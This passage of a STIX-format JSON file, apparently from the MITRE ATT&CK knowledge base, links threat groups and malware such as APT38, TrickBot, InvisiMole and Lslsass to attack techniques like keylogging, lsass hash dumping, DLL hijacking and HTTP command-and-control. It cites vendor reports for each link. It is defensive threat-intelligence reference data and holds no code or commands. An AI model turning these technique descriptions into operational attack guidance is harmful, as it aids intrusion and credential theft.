                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used shellcode with an XOR algorithm to decrypt a payload. [Tropic Trooper](https://attack.mitre.org/groups/G0081) also decrypted image files which contained a payload.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)",
            "id": "relationship--d68120b8-9ef8-4a40-ae4c-d2b597336140",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-05-21T12:59:00.542Z",
            "created": "2019-01-29T20:17:49.301Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to capture keystrokes from the victim\u2019s machine.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--1a49c7e5-32b0-4393-a464-1491b1ebc279",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T20:01:38.485Z",
            "created": "2019-01-29T21:27:25.292Z"
        },
        {
            "id": "relationship--4536c335-5138-42d1-8f1e-63dee7cb17ab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Dipsind](https://attack.mitre.org/software/S0200) variant registers as a Winlogon Event Notify DLL to establish persistence.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "type": "relationship",
            "modified": "2020-03-17T00:54:45.809Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.501Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Micropsia June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html",
                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."
                },
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) searches for anti-virus software and firewall products installed on the victim\u2019s machine using WMI.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)",
            "id": "relationship--14a9f873-cb86-4238-b6c6-8b0836512fdc",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.829Z",
            "created": "2019-01-29T21:47:53.750Z"
        },
        {
            "id": "relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "description": "(Citation: FireEye admin@338)",
            "type": "relationship",
            "modified": "2019-09-04T19:48:17.669Z",
            "created": "2017-05-31T21:33:27.053Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--27dcfdc7-f5d5-49b4-ad4e-afd43974c43c",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-17T22:22:21.920Z",
            "created": "2019-01-30T13:53:14.846Z"
        },
        {
            "id": "relationship--da11f44a-5af0-4b71-a049-a9ff85e2ba9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on local groups and members on the victim\u2019s machine.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T20:05:04.999Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d2067a75-0d5d-4899-9d9f-6537d98296c1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can remotely activate the victim\u2019s webcam to capture content.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2020-07-16T15:07:27.171Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "source_name": "Trend Micro Trickbot Nov 2018"
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) establishes persistence by creating an autostart service that allows it to run whenever the machine boots.(Citation: Trend Micro Trickbot Nov 2018)",
            "id": "relationship--5235fbdb-5c53-4860-a459-cd4b538817db",
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-09-14T19:25:41.222Z",
            "created": "2019-01-30T14:11:44.233Z"
        },
        {
            "id": "relationship--9e193b3a-3f21-43aa-b373-6fcec59ff2c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses FakeTLS to communicate with its C2 server.(Citation: US-CERT HARDRAIN March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT HARDRAIN March 2018",
                    "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"
                }
            ],
            "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "type": "relationship",
            "modified": "2020-03-27T20:49:53.756Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses HTTP for C2 communications.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--38a3eb0c-6313-4e1d-8321-7568435a8c23",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:34:37.256Z",
            "created": "2019-01-30T15:27:06.714Z"
        },
        {
            "id": "relationship--c7fee556-41c2-43bd-a732-e11ff34fb129",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.621Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the name and ID for every process running on the system.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--a3138e56-a496-486d-b11e-5e1c39a9c15d",
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-02-12T21:14:11.188Z",
            "created": "2019-01-30T15:43:19.359Z"
        },
        {
            "id": "relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lslsass](https://attack.mitre.org/software/S0121) can dump active logon session password hashes from the lsass process.(Citation: Mandiant APT1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "source_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T23:23:52.845Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded using HTTP over port 443.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--d8492b36-1720-4ec5-964d-09574378bb7b",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.542Z",
            "created": "2019-01-30T16:39:54.541Z"
        },
        {
            "id": "relationship--d6204645-83ff-4b26-a011-9b58bab2d597",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) uses HTTP for C2.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:52:00.156Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can capture screenshots of the victim\u2019s machine.(Citation: Securelist MuddyWater Oct 2018)",
            "id": "relationship--6f6b8a04-916e-4f33-8837-ff48e00e771b",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.543Z",
            "created": "2019-01-30T17:33:41.151Z"
        },
        {
            "id": "relationship--9723e536-1491-45a4-8dc7-716e4d7df7dc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) collected data from local victim systems.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.515Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--14b70990-48b0-482b-bd5a-3a99d9d9a653",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can use HTTP for C2 communications.(Citation: FireEye APT34 Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                },
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.979Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the \"srand\" and \"rand\" functions.(Citation: Lotus Blossom Dec 2015)(Citation: Emissary Trojan Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lotus Blossom Dec 2015",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
                },
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T15:50:19.956Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is launched through use of DLL search order hijacking to load a malicious dll.(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.232Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) can take a screenshot of the desktop.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--3d1fe308-5bef-4e7a-9daa-333680a11d7b",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.923Z",
            "created": "2019-01-30T18:58:04.175Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) can delete files to cover tracks.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--9669920d-eff9-4436-9357-409eb7db002c",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.475Z",
            "created": "2019-01-30T19:50:46.689Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "source_name": "Unit 42 Nokki Oct 2018"
                }
            ],
            "description": "[Final1stspy](https://attack.mitre.org/software/S0355) uses Python code to deobfuscate base64-encoded strings.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--347ee2ed-7def-45ac-9935-063a679859ae",
            "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-17T01:19:36.888Z",
            "created": "2019-01-31T00:23:06.394Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) used NTFS alternate data streams to hide their payloads.(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--1eeb08cb-8b06-45a7-bf74-fb8bdaa4b02f",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "type": "relationship",
            "modified": "2020-06-24T03:16:06.453Z",
            "created": "2019-01-31T01:07:58.592Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used legitimate credentials to hijack email communications.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--073fd81c-b49a-4800-b73a-c1b3aba3aa54",
